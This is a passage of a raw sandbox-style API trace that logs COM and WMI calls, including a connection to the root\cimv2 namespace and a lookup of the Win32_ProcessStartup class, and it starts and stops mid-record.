Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc6fb80) returned 0x0 [0143.445] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6fb80, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0143.445] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6fb80, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bcda960) returned 0x0 [0143.445] WbemDefPath:IUnknown:Release (This=0x1bc6fb80) returned 0x0 [0143.445] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda960, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bcda960) returned 0x0 [0143.445] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda960, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0143.445] WbemDefPath:IUnknown:AddRef (This=0x1bcda960) returned 0x3 [0143.446] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda960, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0143.446] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda960, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0143.446] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda960, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc22b40) returned 0x0 [0143.446] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc22b40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0143.446] WbemDefPath:IUnknown:Release (This=0x1bc22b40) returned 0x3 [0143.446] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0143.446] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0143.446] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda960, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0143.446] WbemDefPath:IUnknown:Release (This=0x1bcda960) returned 0x2 [0143.446] WbemDefPath:IUnknown:Release (This=0x1bcda960) returned 0x1 [0143.446] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0143.446] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0143.446] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda960, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bcda960) returned 0x0 [0143.446] WbemDefPath:IUnknown:AddRef (This=0x1bcda960) returned 0x3 [0143.446] WbemDefPath:IUnknown:Release (This=0x1bcda960) returned 0x2 [0143.446] WbemDefPath:IWbemPath:SetText (This=0x1bcda960, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0143.446] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda960, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0143.446] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda960, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0143.447] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda960, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0143.447] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcda960, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0143.447] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda960, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0143.447] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcda960, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0143.447] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda960, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0143.447] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0143.447] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0143.447] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0143.447] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0143.447] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0143.447] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0143.447] IUnknown:Release (This=0x1a943398) returned 0x1 [0143.448] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bc22ac0) returned 0x0 [0143.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc22ac0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0143.449] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc22ac0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bcdaa20) returned 0x0 [0143.449] WbemDefPath:IUnknown:Release (This=0x1bc22ac0) returned 0x0 [0143.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaa20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bcdaa20) returned 0x0 [0143.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaa20, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0143.449] WbemDefPath:IUnknown:AddRef (This=0x1bcdaa20) returned 0x3 [0143.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaa20, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0143.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaa20, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0143.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaa20, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bc22aa0) returned 0x0 [0143.449] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc22aa0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0143.449] WbemDefPath:IUnknown:Release (This=0x1bc22aa0) returned 0x3 [0143.449] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0143.450] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0143.450] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaa20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0143.497] WbemDefPath:IUnknown:Release (This=0x1bcdaa20) returned 0x2 [0143.497] WbemDefPath:IUnknown:Release (This=0x1bcdaa20) returned 0x1 [0143.497] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0143.497] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0143.497] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaa20, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bcdaa20) returned 0x0 [0143.497] WbemDefPath:IUnknown:AddRef (This=0x1bcdaa20) returned 0x3 [0143.497] WbemDefPath:IUnknown:Release (This=0x1bcdaa20) returned 0x2 [0143.497] WbemDefPath:IWbemPath:SetText (This=0x1bcdaa20, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0143.497] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcdaa20, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0143.497] WbemDefPath:IWbemPath:GetText (in: This=0x1bcdaa20, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0143.497] WbemDefPath:IWbemPath:GetText (in: This=0x1bcdaa20, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0143.497] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0143.498] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0143.498] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0143.498] IUnknown:Release (This=0x1a943398) returned 0x1 [0143.499] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bc228a0) returned 0x0 [0143.499] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc228a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0143.499] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc228a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bc228c0) returned 0x0 [0143.499] WbemLocator:IUnknown:Release (This=0x1bc228a0) returned 0x0 [0143.499] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc228c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bc228c0) returned 0x0 [0143.499] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc228c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0143.500] WbemLocator:IUnknown:AddRef (This=0x1bc228c0) returned 0x3 [0143.500] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc228c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0143.500] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc228c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0143.500] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc228c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0143.500] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0143.500] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0143.500] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc228c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0143.500] WbemLocator:IUnknown:Release (This=0x1bc228c0) returned 0x2 [0143.500] WbemLocator:IUnknown:Release (This=0x1bc228c0) returned 0x1 [0143.500] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0143.500] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0143.500] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc228c0, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bc228c0) returned 0x0 [0143.500] WbemLocator:IUnknown:AddRef (This=0x1bc228c0) returned 0x3 [0143.500] WbemLocator:IUnknown:Release (This=0x1bc228c0) returned 0x2 [0143.500] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcdaa20, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0143.500] WbemDefPath:IWbemPath:GetText (in: This=0x1bcdaa20, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0143.500] WbemDefPath:IWbemPath:GetText (in: This=0x1bcdaa20, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0143.500] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bc228e0) returned 0x0 [0143.501] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc228e0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1a952120) returned 0x0 [0143.741] WbemLocator:IUnknown:QueryInterface (in: This=0x1a952120, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bc420e0) returned 0x0 [0143.742] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc420e0, pProxy=0x1a952120, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0143.742] WbemLocator:IUnknown:Release (This=0x1bc420e0) returned 0x1 [0143.742] WbemLocator:IUnknown:QueryInterface (in: This=0x1a952120, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bc42120) returned 0x0 [0143.742] WbemLocator:IUnknown:QueryInterface (in: This=0x1a952120, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bc420e0) returned 0x0 [0143.742] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc420e0, pProxy=0x1a952120, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0143.742] WbemLocator:IUnknown:Release (This=0x1bc420e0) returned 0x2 [0143.742] WbemLocator:IUnknown:Release (This=0x1bc42120) returned 0x1 [0143.742] CoTaskMemFree (pv=0x1bcc33d0) [0143.742] WbemLocator:IUnknown:AddRef (This=0x1a952120) returned 0x2 [0143.742] WbemLocator:IUnknown:Release (This=0x1bc228e0) returned 0x0 [0143.743] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0143.743] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0143.743] WbemLocator:IUnknown:QueryInterface (in: This=0x1a952120, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bc420f0) returned 0x0 [0143.743] WbemLocator:IRpcOptions:Query (in: This=0x1bc420f0, pPrx=0x1a994870, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0143.743] WbemLocator:IUnknown:Release (This=0x1bc420f0) returned 0x2 [0143.743] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0143.743] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0143.743] WbemLocator:IUnknown:QueryInterface (in: This=0x1a952120, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1a952120) returned 0x0 [0143.743] WbemLocator:IUnknown:Release (This=0x1a952120) returned 0x2 [0143.743] SysStringLen (param_1=0x0) returned 0x0 [0143.743] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda960, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0143.743] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda960, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0143.744] IWbemServices:GetObject (in: This=0x1a952120, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1aa28520, ppCallResult=0x0) returned 0x0 [0143.745] IWbemClassObject:Get (in: This=0x1aa28520, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0143.745] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0143.745] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0143.745] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0143.745] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: 